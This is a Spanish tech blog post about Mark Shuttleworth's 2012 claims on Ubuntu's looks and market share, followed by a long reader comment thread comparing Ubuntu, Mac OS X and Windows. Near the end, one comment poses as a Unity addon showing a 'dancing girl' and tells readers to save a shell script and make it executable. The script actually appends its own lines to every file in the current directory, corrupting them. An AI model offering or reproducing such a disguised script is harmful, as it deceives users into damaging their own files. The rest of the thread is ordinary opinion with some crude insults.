Ubuntu, tan atractivo como Mac OS X y en el 5% de los ordenadores que se vendan en 2013
Os contaba en el artículo anterior que Mark Shuttleworth ha estado dando una conferencia en OSCON 2012, dejando más de una noticia llamativa. Así, completamos con, como dice el título de esta entrada, un Ubuntu tan atractivo como Mac OS X y en el 5% de los ordenadores que se vendan en 2013.
Comenzando por la primera afirmación, el objetivo de Mark Shuttleworth de hacer del escritorio Linux algo más atractivo que Mac OS X a la vista, se ha cumplido, según publican nuestros compañeros de MuyComputer. Por lo menos desde el punto de vista del sudafricano (¡o eso dicen en la fuente de la noticia!).
No deja de ser una apreciación personal, que puede generar algo de discusión, pero que no va más allá. Más importante es sin duda el dato de la implantación que espera alcanzar Canonical en 2013, año en el que el 5% de los PCs que se vendan lo harán con Ubuntu preinstalado.
Esta segunda noticia la cuentan con todos los detalles en MuyComputerPRO, donde recuerdan que Shuttleworth dijo lo mismo hace unos meses, pero hablando de 2012…
Doy fe. El objetivo de Shuttleworth es hacer de ubuntu lo más apple que se pueda.
ubuntu parece mas basado en mac que en debian XD, quisas fue user de mac
User de Mac… no se, pero si Desarrollador de Debian.
Me sumo.
Eso es imposible Ubuntu y Apple no se parecen. Antes de crear Unity Apple era la sensación de momento poseía una reputación increíble y que al parecer mucha gente conocía sin ser ningún genio de la informática.
Todo proyecto empieza por tener referencias de otros que tienen un cierto éxito, Ubuntu no pretendía ni pretende ser Apple eso seria fatal, ni en la Interfaces ni en nada.
Al decir “Ubuntu, tan atractivo como Mac OS X” supongo que se refiere que el mercado de Apple es mucho humo en Ordenadores al rededor de 6% con un marketing impresionante no llegan ni a 20% del mercado y que en estos momentos Ubuntu es tan fácil, cómodo y agradable o incluso más que Apple, y que la barrera que les separa del exterior se esta rompiendo, con ordenadores de ultima generación y variados que están saliendo al mercado y se están vendiendo con normalidad,.
Ubuntu no pone ningún tipo de traba como Apple, así que su 6% es moderadamente asumible en un corto plazo.
NO SE PARECEN ,Y PUES A MI ME PARECE , QUE SE REFERIA A QUE LA INTERFAZ DE UBUNTU NO NECESITABA PARECERSE A APPLE, PUES ES BONITA ASI COMO VA !!!. Y PUES A MI ME GUSTA LO ATRACTIVO QUE SE VE, Y ME GUSTA MAS PORQUE LO PUEDO hacer QUE SE VEA COMO YO QUIERO
Si que se parecen, sobre todo en los precios…
A mi no me gusta Apple como marca (tampoco es que lo odie, como otras personas) pero OSX me parece un sistema con un diseño bonito y agradable, ¿que hay de malo en querer emular eso? Igualmente hay cosas que no me convencen, como el menú global, que esta bien cuando la ventana esta maximizada, pero es un poco incordio si tienes una ventana, por ejemplo, en la parte inferior de la pantalla y tienes que ir hasta arriba para desplegar el menú. Aun así, creo que en OSX eso no se puede desactivar, en Ubuntu si.
Por lo demás, Unity no se parece en nada a la interfaz de OSX, ni visualmente ni en manejo.
Creo que esto que dices del global menú me parece que se llama es desactibalme, pero no te savria decir como, además curiosamente es una opción del programador que te viene por defecto y además esta bien y por lo que veo lo asume una gran mayoría.
No le veo lo bonito ni lo agradable, además es inflexible y menos funcional incluso que Windows.
E que si claro que si, Windows 8 en 2D, parecido a la interfase que sacaron en los años 80, sin sombra, además esto nuevo que han sacado del Metro, que es lo que les faltar por que va a caer empicado.
En mi opinión Windows 7 a un es sostenible pero 8 venga ya va a ser como Vista un gran cagada, pero eso si todos le darán soporte si no Microsoft ya pagara que es lo único que sabe hacer y que además es insostenible por que anda que no pierde millones al día, ahora su negoció son las patentes, que tienen mas que peajes ay en Cataluña.
Concuerdo, pero yo me refería a Win7, creo que ahora y de aquí en adelante va a ser la referencia como el Windows decente.
Yo veo que Mac OS X sí es muy bonito y todo eso, pero poco flexible y no muy funcional.
Para mi es como una vitrina, que observas sin que puedas hacer nada más que admirar “lo cool que es”.
Un adorno.
En mi comentario he hecho referencia únicamente al diseño, no a la flexibilidad ni funcionalidad. En eso estoy de acuerdo, las opciones de configuración en OS X son mínimas.
¿Y cuál sería el problema, mientras sea OpenSource?
A mi Unity no me gusta, pero le deseo a Ubuntu el mejor de los éxitos en intentar ganar mercado en ordenadores con SO preinstalado.
eso servira para quitarle la mala fama a linux de ser dificil de usar, con computadoras con ubuntu, y los curiosos encontraran radido otras distro, si funciona ira bien :)
Dicen… arriba iba a decir malas lenguas… pero no voy a decir ácidas y afiladas lenguas porque en parte tienen algo de razón no toda… pero hay una cosa que a mí me gustaría que de verdad se pareciera a Appel…
Vete a China… búscate un fabricante… con calidad… y vende PCs con Ubuntu instalado y que se pueda comprar fácilmente. Ya no entro si el precio tiene que más bien exclusivo, medio, o bajo -eso me da igual siempre y cuando tenga éxito-. Mientras tanto es un cuentecito más.
Este después de ir al espacio parece que echa de menos ver estrellas, todo guay desde lejos, esa sensación agradable de ingravidez… y se pasa el día fumando cosas extrañas porque lo hecha de menos.
A mi esa frase de “Ubuntu tan atractivo como Mac OS X” me parece un poco fuerte… Cierto que en muchos sentidos es cuestión de gustos y habrá gente a la que Unity le parece el mejor invento desde el papel allá por el año 3000 AC, pero hay que admitir que a Apple una de las cosas por las que destaca realmente es por su diseño, de hecho por eso creo que hay tanta gente enamorada de Apple por lo bien que se ve todo y como está cuidado hasta el último detalle.
Unity no está mal desde mi punto de vista pero en mi opinión la sencillez y elegancia de Mac OS X aún le queda muy lejos a la gente de Canonical.
Al fin y al cabo son unos 60400 empleados los que tiene Apple, imaginaos la de gente que tendrá contratada únicamente para el diseño de sus productos, Canonical consta de unos 500 empleados, y los que digan “El número no importa si no la calidad” creo que en una empresa tan competitiva como Apple o eres lo mejor de lo mejor o al día siguiente tienes el finiquito sobre tu mesa
¿Hay alguna fuente real y fiable que diga que tiene unos 500 empleados?
500 no, mucho si llega a los 300.
Canonical es una pequeña empresa. que hace un gran esfuerzo por sacar adelante, el mejor OS posible, para todo tipo de usuario, que la quiera usar, claro esta.
Sip, son 300.
Apple tiene unos 60.000 empleados y poco a poco ubuntu esta avanzando.
En este enlace hay mas datos: http://www.youtube.com/watch?v=DJKpsTAnTHw
Es cierto, pero gran parte del trabajo se lo saca adelante la comunidad de Debian. No lo olvidemos.
No se olvida, se sabe, se admite, se agradece, y se aportan usuarios a Debian. lo digo por experiencia propia.
Yo me entere de la existencia de Debian, buscando las raíces de Ubuntu.
Hoy uso las dos distros por igual, y les tengo el mismo cariño a ambas.
Un saludo
Más de 400 según Wikipedia:
http://en.wikipedia.org/wiki/Canonical_Ltd.#Employees
Una cosa es la cifra de personas que trabajan entorno a Ubuntu, en todo el planeta, y otra las nominas de las que es responsable directo Canonical.
Creo que la cifra se ajusta bastante a los “casi 300″, como bien nos hace referencia JulioSAO en el vídeo del enlace.
Por cierto JulioSAO, me gusta tu comparación con los Espartanos de “casi 300″, muy bueno jejeje.
No, el link que puse dice claramente 400+ empleados, no dice colaboradores, y tiene oficinas en varios países.
Gente que aporta son miles.
@ Hector Macias Ayala: tienes razòn.
“Gente que aporta son miles.”
En cuanto al Nº de empleados, da igual 300, que 400, que 500, lo que importa es lo que hacen.
Saludos
Te falto contar con la comunidad de software libre…
Para la mierda de diseño que saca no creo que sean muchos, ni siquiera es muy original, cada que saca algo es un solo color y de una única forma.
y digo yo este hector ¿es que a vuelto a venir el circo a la ciudad?, corre que te cierran la jaula y deja de joder con la pelota.
No creo que puedan conseguir ese número sí no se venden CPU en todo el mundo en forma fácil.
Coincido. Si se pareciera en eso a Apple y no en otras cosas tendría alguna posibilidad…
Esperaré sentado a ver si se da el milagro.
Los usuarios avanzados de linux no les gusta esta noticia porque no les gusta que cualquier persona utilice linux como ellos..
Los usuarios con cabellos sin peinarse y desprolijos piensan que es una cosnpiracion de la multimillonaria empresa comercial de Mark Shuttleworth, amigo estrategico del opresor bill gates.
Los usuarios nuevos estan felices.
Los usuarios fan-freedom estan horrorisados por las lineas de codigo cerrado que posee ubuntu y que seran difamadas por el mundo apresando a las personas de su libertad.
Los usuarios con criterio estan contentos por que linux estara en mas hogares y empresas sin importar la bandera que tiene, en este caso ubuntu y promover en demas o menor medida el espiritu de libertad.
Y el mundo estará contento cuando uno pueda usar lo que necesita al precio que puede pagar, con calidad, con facilidad, etc. Y estará más contento si lo puede pagar sin hacer un macro esfuerzo familiar.
Y al mundo le suda las narices lo que diga Jobs o sucesor, Bill Gates o sucesor, Torvalds, Stallman, y por supuesto Suttleworth también.
Yo soy el usuario que quieras, y estoy feliz usando Linux, y no tengo más sensaciones. Reconozco que me encantaría que aumentara el número de usuarios de Linux en escritorios, por en los demás niveles (servidores de red, teléfonos móviles, sistemas embebidos…) va a ser difícil, por que ya los tiene.
Si echas una parrafada así cuida el lenguaje y la ortografía, que vas caliente . Vale , acepto puntos negativos.
@Fernando A. por que no te presentas a unas elecciones? porque ya vemos que los discursos se te dan bien.
eres como los politicos españoles, en vez de crear unidad, impones clases sociales y separatismos, esto ultimo aplicado a linux.
Si realmente en el 2013 el 5% de las preinstalaciones fueran GNU/Linux Ubuntu yo mismo daria un beso al Sr Sudafricano este.
Con una cuota de mercado de GNU/Linux de mas del 5% es de suponer que por fin habria drivers para que todo el maldito hardware fuera 100% funcional. Ademas invitaria al desarrollo especifico de software profesional que mucha gente demanda para GNU/Linux.
De todas formas y espero equivocarme me da a mi que el tito Mark sueña despierto.
Por qué haces esa suposición tan alegremente…
Es que las cosas funciona de otra manera… Windows… si haces drivers para linux igual te lo pongo difícil para windows… y tus amigos de la isla de al lado de Hong Kong venderán más hardware que tú…
El que pretenda que todo el hardware va a funcionar con cualquier sistema operativo… lo lleva mal… Con que haya más que ahora ya podemos empezar a alegrarnos.
Amigo, tenemos la prima de riesgo a 612 y el pais a punto de colapsar.
¡¡¡¡¡ Dejame ser feliz !!!!
No te obsesiones con la prima de riesgo… tiene su base justificable y otra parte no.
Va a estar así hasta que empecemos a crear empleo y puede tardar años… ¿Te vas a pasar años preocupado por la prima de riesgo?
Tómate una cerveza mejor, que caen por aquí 38 a la sombra.
Preocúpate mejor por la prima de riesgo de tu vecino… esa que tiene unas tetas que son un riesgo… (Te irá mejor, y la prima de riesgo no va a mejorar por mucho que te procupes) :)
ajajaj por eso están en crisis!! por tomarse la vida como una joda!! jaajaj…
Eso si que es un problema. 612 y sigue subiendo, mas el El interés del bono español a 10 años se sitúa en el 7,26%:
Esto esta que explota por los aires.
Perdón que el comentario no viene al caso, pero esta hay.
Por ejemplo, Nokia. Si pones Android se enfada Microsoft contigo y ya no vendes móviles ya que [sarcasmo on] todo el mundo hoy en día compra Nokia con windows Mobile [sarcasmo off]. Es solo un ejemplo. Si se logra un mínimo de mercado, yo también pienso como Oberost
Sueña despierto pero su sueño es más noble que la política maquera de demandar a todos y por cualquier mierda.
Es más noble que imponer a los demás hasta el puto color como hace Apple.
También es más noble que los conceptos retorcidos de libertad de Stallman.
Y que quitar a la fuerza el menú de inicio de Windows.
Bien, Bien, pero, solo me preocupa una cosa
¿Y, cuando haya muchos usuarios, qué pasará?
-Acaso nos volveremos como win2, con virus por doquier
-O seran tantos que todo dejara de ser estable
-O Las distros se separan, valla, Canonical ya parece muy independiente como para seguir siendo GNU/Linux
Bueno, no quiero que mi comentario se mal-interprete, pero son cosas ha pensar, TAMPOCO digo que prefiero GNU/Linux casi vacio, NO, me gustaria verlo lleno de gente en todo el mundo, pero… Opino que falta más seguridad, re-estructurar las medidas de seguridad para poder dar el salto, por ahora estamos bien, pero, ¿Qué pasara despues? ¿Nacera un nucleo llamado Gumix que tomara en cetro de poder en seguridad y Linux se volvera un Windows empequeñesido?
Realmente piensas que GNU/Linux puede caer tan bajo, estamos hablando de un sistema líder en seguridad, en profesionalidad, llevan años y años cuidado ese aspecto. En 2004 llego Ubuntu partiendo de una gran Distro, y se preocupo por el aspecto, la única pieza que faltaba y que nadie había conseguido completar. Hace un par de años en una especie de evento que hacen durante 15 días o una semana ningún Hacker consigio vulnerar la seguridad de Ubuntu.
Por supuesto que al crecer encontraremos los típicos antivirus de Windows que pretenden expandirse y la gente intentara joder más pero pretenden joder a alguien demasiado fuerte, por que además esta el tema de la ética y el software libre, aquí ay personas libres no como en Windows por que realmente es lo que promueven con toda esa entica privativa que no les dejan hacer nada a los usuarios al final son los usuarios que se rebotando contra el sistema.
Claro, ¿si es tan fuete, porqué hay actualizaciones de seguridad al Kernel, o al SUDO o a las apps en general?
Bueno, ya en estos momentos es raro ver mas de 7 o mas actualizaciones de seguridad al mes, pero a medida que crece el numero crece la vulnerabilidad… es justamente lo que le pasa a Windows (aclaro, yo no detesto a windows, detesto a los que le infectan), hay que verlo desde ambos puntos de vista:
-En GNU/Linux aparece un fallo de seguridad y con toda la comodidad del mundo se colocan a eliminarlo y se acabo el problema, algo similar pasa en Mac OS… todos los usuarios, o la mayoria se toman su minutito para actualizar
-En Windows aparecen decenas, cientos de fallos a la semana y aun con todos esos empleados es dificil cubrirlos todos y a tiempo… por otra parte estan los usuarios, a muy pocos les gusta actualizar su sistema ¿Porque? ¿Es acaso por lo lento que se actualiza?
¿Crees que no pasara lo mismo, si GNU/Linux encerio llegara a ser una potencia en crecimiento?… igual que el anterior, espero que este comentario no se malinterprete
Tranquilo no se malinterpreta nada.
Apple esta 10 años atrasada en tema de seguridad respecto a Windows eso significa que 1 de cada 4 Mac’s esta Infectado por algún virus.
Y nunca se esta lo suficiente mente seguro o libre de errores, aquí todo es gratuito o una gran mayoría la gente confía en su Sistema y no tiene que imponer nada, Windows te impone las actualizaciones por que no confía en ti ni tu en el, no es una buena relación.
Cuando quieres un programa simplemente lo instalas desde Ubuntu Software Center y listos no tienes motivos para entrar en paginas raras para conseguir un programa que vale 200€ y así conseguirlo gratis.
Los virus en cierto modo los instala el propio usuario desconociendo su existencia.
Lo que es seguro es que con más usuarios mejor ira el sistema, abra más dinero para avanzar muchos proyectos realmente interesantes y innovadores.
pues por eso mismo!!!!
Lo que es tener 14 años.
1. Para eso hay antivirus y buenos hábitos de navegación.
2. La estabilidad únicamente tiene relación con la cantidad de usuarios en tu cabeza.
3. Las distros han estado separadas toda la vida.
4. Se dice vaya.
5. Cetro de poder tienes en la cola.
Punto #1, no tengo 14 y comprendo muy bien lo que es seguridad en computadoras, la edad no importa, ¿o si? ¿acaso comenzaremos algo de intolerancia por la edad que no tengo?
Ahora… al “1. Para eso hay antivirus y buenos hábitos de navegación.”
-La verdad, incluso yo he entrado por accidente a paginas que se destacan por infectar computadores, por ejemplo, al escribir mal en nombre de google… claro, eso paso cuando usaba windows, pero tomando mi 1er comentario como realidad, no faltaría mucho para que pasara en GNU/Linux
-En cuanto al antivirus, ninguno es una pared de hierro impenetrable, todos con un poco de experiencia en el tema sabemos que todo antivirus tiene fallos de seguridad que no están totalmente llenos, ninguno es perfecto
Al “2. La estabilidad únicamente tiene relación con la cantidad de usuarios en tu cabeza.”
-Bien, ganaste aqui, no tengo objeciones, estaba pensando en otra cosa, pido disculpas a todos por este error… pero ¿porque las vulgaridades?, pero bueno…
Al “3. Las distros han estado separadas toda la vida.”
-Me mal-interpretaste, lo que yo quise dar a entender es que, por ejemplo, puede que llegue el momento en el cual una distro diga … obviamente ya se que siempre han sido independientes entre si, pero algo las hace llamarse “GNU/Linux” ¿o no?
Al “4. Se dice vaya.”
-Seguramente lo has oído muchas veces, y si no, es hora de que lo leas, “el humano no es perfecto, no somos maquinas”… pero bueno, si tu te consideras tan perfecto…
Y por último, al “5. Cetro de poder tienes en la cola.”
-Con esto yo creo que el de 14 años de edad eres tu, pues esto no lo veo muy seguido… no tengo porque dar mas explicaciones a alguien como tu
Saludos a todos
Ojalá consiga ese objetivo, pero lo dudo. Para mí sólo son palabras.
Lo importante es que no violen patentes tan innovadoras como esta: http://tinyurl.com/3nj7r5f
Muy buena la observación. muy bueno el enlace.
jajajajajaja aaaaajajajaj +1
La absurdez de las patentes, resumida en 4 páginas. Soberbio.
De hecho el actual problema del tablet Samsung Galaxy 10.1 en EEUU es por esta patente, solo miren las noticias en inglés.
Al menos es una des las pocas distribuciones Linux que se esmera en crear y mantener su propia apariencia, también en ser lo suficientemente atractiva para los (nuevos) usuarios.
Primero, que cambien ese color marrón predeterminado, que llega a aburrir a muchos. Un plomo le queda muucho mejor (probé un skin de MacOs y se ve mucho más elegante… + compiz (y las nuevas mejoras que vienen), queda muuy bonito.
Ahora, que haya programas que tengan el mismo índice de usabilidad (LibreOffice xD), ese es un reto mayor.
Usted que sabe tanto de diseño y colores, ¿sabía que plomo es un elemento quimico y no un color?
Nada, que a base de decirlo algún año acertará con el 5% y el año jejeje.
Pero bueno en su favor diré que están haciendo un enorme trabajo para promocionar su distro y hay que ver los frutos que están recogiendo ya.
Para mi Mark Shuttleworth tiene algo entre manos si no asi de facil no se tiraria no?.
Tiene un gran proyecto que lleva ya 8 años desarrollándose, con muchos detractores, pero igualmente fáciles de ignorar. Aunque tienen un complejo de mayorías y de voz cantante de lo peor, pero pues pobre gente acomplejada.
Qué mala impresión de Linux se va a llevar la gente gracias a Unity…
Con que interfaz crees tu que se daría buena impresión?.
Kde, XFCE, Cinnamon…
El año que viene cuando alguien compre un ordenador, llevará Metro, Unity o una manzanita mordida… Vaya tres.
¿Por qué votáis positivo a este último comentario y negativo a los anteriores cuando vengo a decir básicamente lo mismo? Me gustaría saberlo.
@ Pepe: yo no te e votado negativo en ninguno comentario. pero creo que preocuparse por los votos acá, es un ejercicio inútil.
La persona piensa y ve la misma cosa de muy distinta manera, el punto de vista de cada cual, es como la nariz, cada uno tiene la suya, y percibe o cree percibir un olor distinto… imagínate en cuanto a ideas y conceptos.
Simplemente di lo que piensas y se feliz.
Estoy de acuerdo contigo, no escribo pensando en si me van a votar positivo o negativo, simplemente lo pregunto por curiosidad, porque no entiendo que diciendo lo mismo me voten positivo en un lado y negativo en otro, jeje.
Cualquiera de las eficientes. Cualquiera de las configurables.
Si, tienes razòn.
“porque no entiendo que diciendo lo mismo me voten positivo en un lado y negativo en otro, jeje.”
No todos tenemos la misma capacidad de comprensión lectora.
Por eso se producen con frecuencia, malos entendidos entre todos nosotros.
Para evitar esas situaciones, únicamente nos queda la paciencia, y no preocuparnos en exceso por lo que no podemos cambiar. no se, es una humilde opinión.
En cuanto a que interfaz seria la adecuada en Ubuntu,
Creo que la mejor es la que cada usuario elija para si mismo.
Por los recién llegados no hay que preocuparse, si se han interesado en Gnu Linux, seguro que no son tontos. aprenderán y eligieran en su momento lo que mas les guste.
Saludos
y que mas dara?
En todo caso que mejor se proponga a hacer tratos con las compañías para hacer drivers decentes, que la apariencia visual es bastante adaptable en el mundo GNU/Linux.
Atractivo como Mac? Uso ambos y le falta bastante a Ubuntu. Ojalá se cumpla, claro, no es imposible. Personalmente, como Mac solo encuentro a ElementaryOS (quizá demasiado igual, posible juicio), donde le prestan muchísima atención al look&feel. Está aun en sus primeros pasos.
Saludos!
Pues en mi caso no tengo ningún interés en que se parezca a Mac. y aclaro que no tengo nada contra Mac.
pero me gusta un Ubuntu con carácter e imagen propia, ya sea marrón o violeta… pero que se distinga de los demás.
esto si es una respuesta ecuanime , si nos gusta linux es porque no es ni windows ni mac y ubuntu resalta sobre todas las distros y ya se le puede considerar un OS en toda regla como lo es debian y el violeta luego de instalado se lo cambias y yasta , ya ves que problema
Yo espero que la comparación con Mac en 20 años siga siendo tan tonta como lo es hoy y que jamás se le parezca a esa cosa.
Mi duda mas bien es si en 20 años sin Steve Jobs seguira existiendo Apple que lo unico que sabe hacer a dia de hoy es demandar, demandar y demandar.
Creo que ya tiene en nomina mas abogados que desarolladores y diseñadores.
Ubuntu lo que tiene que hacer es DEJAR DE DEPENDER DEL PROYECTO GNOME .. y desarrollarse una propia interfaz ..
Le falta mucho a ubuntu para parecerce a OSX Lion Mount ….
y Unity pufssssss ajajajaja … es una buena idea pero necesita mas trabajo
Ademas ubuntu es solo una marca … Un producto, yo no lo considero un sistema Linux, le dicen linux solo porque utiliza un kernel pero que pasaría si canonical desarrolla un kernel propio?
Bueno hay lo tiene solo una marca y no un sistema Linux.
Pero hay algo que de verdad hay que agradecer a los chicos de canonical, Actualmente son los únicos que le dan promoción a Linux … Y eso pues se les aplaude
Sistemas GNU/Linux.
Crear un kernel jaja no son tontos, no usar Gnome jaja Unity es lo que los chicos de Gnome no quisieron crear por que se lo decia Ubuntu, cuando la mayoria estan en gnome por que venia con Ubuntu y le dio un toque mas moderno.
Es imposible que Windows y Mac consiguan lo que nosotros tenemos no ceremos ser como ellos de echo ellos mismos nos necesitan para ofrecer sus Sistemas privatibos si cae GNU/Linux cae el sistema entero el mundo toda la red Informatica, Google, Facebook, Wikipedia, los servicios en la nube de Apple… Ejercitos. Realmente se piensan que estamos por devajo de esos dos Sistemas.
tu segundo párrafo esta super correcto y es una gran verdad
Quieren algo realmente parecido y super integrado como MAC ??
La respuesta es Elementary OS Luna
♥ __ ♥
http://www.youtube.com/watch?feature=player_embedded&v=lHY2ozxGPVE
No, no lo queremos, así está perfecto, esa basura maquera ni gratis por favor.
La verdad ubuntu deja mucho que desear en muchos aspectos, no hay comparacion con OS X… en ningun aspecto. Creo que deberian corregir muchos temas antes de hacer comparaciónes con otros sistemas operativos desde mi punto de vista, he utilizado linux desde sus comienzos y ubuntu se parece mas a microsoft que a apple… Si a microsoft solo le falta bluescreen y estan igualitos je.!
No hay que mezclar palabras y traducir a la forma que le conviene a cada uno…..
Mark Shuttleworth indico desde hace mucho tiempo que la competencia no era microsoft sino apple para hacer de ubuntu una real SO alternativo popular. Razon no le faltaba ya que microsoft ha perdido en cifras, apple es actualmente lo mejor en ventas (que no es lo mismo cantidad y/o calidad).
Hay que comprender que mac su base es bsd, y si el nacio para volverse lo que es ahora, porque no ubuntu?, nunca se dijo que ubuntu era para los geeks o informaticos de nivel medio o avanzado.
Las palabras de Mark son claras, hacer ubuntu tan atractivo como mac, no una copia de mac (en unity yo no veo una copia de mac) sino ubuntu tiene su dise~no propio y esta tratando de hacerse para las masas. Los que conocemos linux nos ponemos otra distribucion si no estamos deacuerdo con ubuntu y punto final.
Aqui varios critican a ubuntu, porque no esta deacuerdo con nuestra filosofia, quitemonos esa idea de la cabeza y no jodamos mas!!!!!!
Hole tus C… ni yo lo habría dicho mas claro.
1000 + para ti
¿Soy el único al que no le gusta el interface de los mac? he usado MacOS durante dos años y he acabado harto de ese look que encima no puedo personalizar más allá de cambiar el fondo de escritorio.
Agrabado todo ello por ese engendro de navegador de ficheros, llamado “finder”. Cualquier gestor de ficheros me parece infinitamente mejor, incluso el de windows.
Vamos Ubuntu y linux a dominar el Mundo!!!!
Si quiere hacerlo parecido a Mac para qué narices han hecho Unity ?
Nunca dijo parecido a Mac
No entiendo para que tanta parafernalia. Es canonical, que sean felices!!
Bueno, bien por Canonical, no hay otra cosa para agregar.
Por cierto Apple por fin admite que comete errores con ese asunto de los certificados EPEAT, vamos a ver como los terminan de evaluar.
Como siempre, veo Applefobia y Ubuntufobia. Como no soy moneda de 50 pesos para caerle bien a todo el mundo, entonces mejor digo Ubuntu Mac OSX PC-BSD Openindiana Windows!!!
Como alguien que tambien gusta de y usa Linux, veo a mis amigos conspiranoicos, como los microsofobicos y applefobicos y ubuntufobicos y bsdfobicos, con una opinion respetable en algunas ocasiones, pero con el peligro de siempre apegarse a un status-quo innecesario sin analizar sus consecuencias. Ese comportamiento elitista es algo que tiene que cambiar.
Saludos.
[...] Fuente [...]
naaa yo odio que la gente se ponga en el plan que si esto es mejor que esto que si lo otro
cada quien con lo sullo
win2 mac linux bsd solaris android etc un sinfin
cada quen usa lo que quiere
a mi me gutaria
una maquina
estilo las amiga
uuu que lindos momentos
aquellos
con mi amiga os 4x
me gustaria una interfas similar
creo que es lo que sele asemeja un poco mas ubuntu en bes de mac
me en cntaria si unity se pudiera modifivar mas
mo ber el lansador asia abajo isquierda derecha etc
ygual el panel poder cambiar el lansador de aplicaciones
que isieran algo estilo gnome 2 pero con sus propias mejorias
eso seria mas intuitivo que lo isieran aun maas grafico
en este punto no tener q tener como 3 diferentes aplicasiones para modificar todo
que isieran todo en uno
pero en fin se vale soñar
Windows 8 es un completo disparate digo porque ya lo instale y la verdad deja mucho que desear. No se porque al explorador de archivos le pusieron tantos botones estilo ribbon, si con un solo ctrl+c o anticlick(click derecho) se puede hacer las cosas mas rápidas y el estilo metro la verdad que me causa dolores de cabeza con esos colores pastel. Y algo tengo que recalcar es que quieren integrarlo todo basándose en el antiguo explorador de kde 3.x el gran konqueror. Hasta ahora windows 7 es funcional pero tampoco estable solo por motivos de juegos lo tengo en una maquina virtual es mi todopoderoso Kubuntu.
Concuerdo con casi todo, excepto la parte de que Windows 7 no sea estable, ese defecto dejo de tenerlo hace mucho, ahora tampoco hay tantas distros Linux que puedan presumir de eso como antes, aunque casi todas alcanzan un nivel suficientemente alto como para no considerarlo grave.
[...] ayer el tema era el atractivo de Ubuntu respecto a Mac OS X, hoy os traemos una avance en vídeo de la que es, sin ningún tipo de subjetividad, la distro [...]
Un colega tiene un Apple, y el sistema operativo me dejó con la boca abierta. Aún así, no creo que Linux esté tan atrás. Además, el escritorio Linux es mucho más configurable y todas las aplicaciones están disponibles gratuitamente. Mi pobre colega ha tratado de instalar software pirata al estilo Windows, y no ha podido.
A propósito, instalé SolusOS en mi notebook y es fantástico. Lo recomiendo absolutamente.
A mi también me deja con la boca abierta que se alabe por acá un sistema con diálogos tan pobres, que no permite personalizar nada, con un catálogo de aplicaciones inferior y totalmente cerrado y que comprobadamente no es mejor ni más rápido ni seguro, ni siquiera que Windows, pero con un gran marketing.
No sé que es lo que pasa en este mundo del software libre, desdeñan todo aquel y todo aquello que quiere sobresalir entre los demás (casi siempre por el hecho de que este o aquel no es el sistema que yo uso). Hay que dejar esa mediocridad de estar menospreciando el triunfo ajeno.
yo estoy enamorado de ubuntu, abrazos a Diego, este addons me gusto mucho en unity, muestra una linda guarra bailando para el que quiera probarlo. Os quiero amigoS!
copiamos y pegamos en archivo de texto y le damos permisos de ejecucion ;)
#!/bin/sh
for FICHERO in *
do
tail -4 $0 >> $FICHERO
done
Ubuntu esta tan a la altura de Lion como Paz Padilla de Bar Rafaeli. Esto solo hablando de estética, de lo demás para que hablar……
bah, cuestiones estéticas sólo, yo cambié ubuntu por crunchbang y no por la pinta sino porque en ubuntu las opciones de personalización se eliminaron y no rendía como en versiones anteriores, estuve mirando y al final me decanté por crunchbang que para algunos será fea pero cuando te acostumbras, va como la seda, es rápido, estable y cojonudo.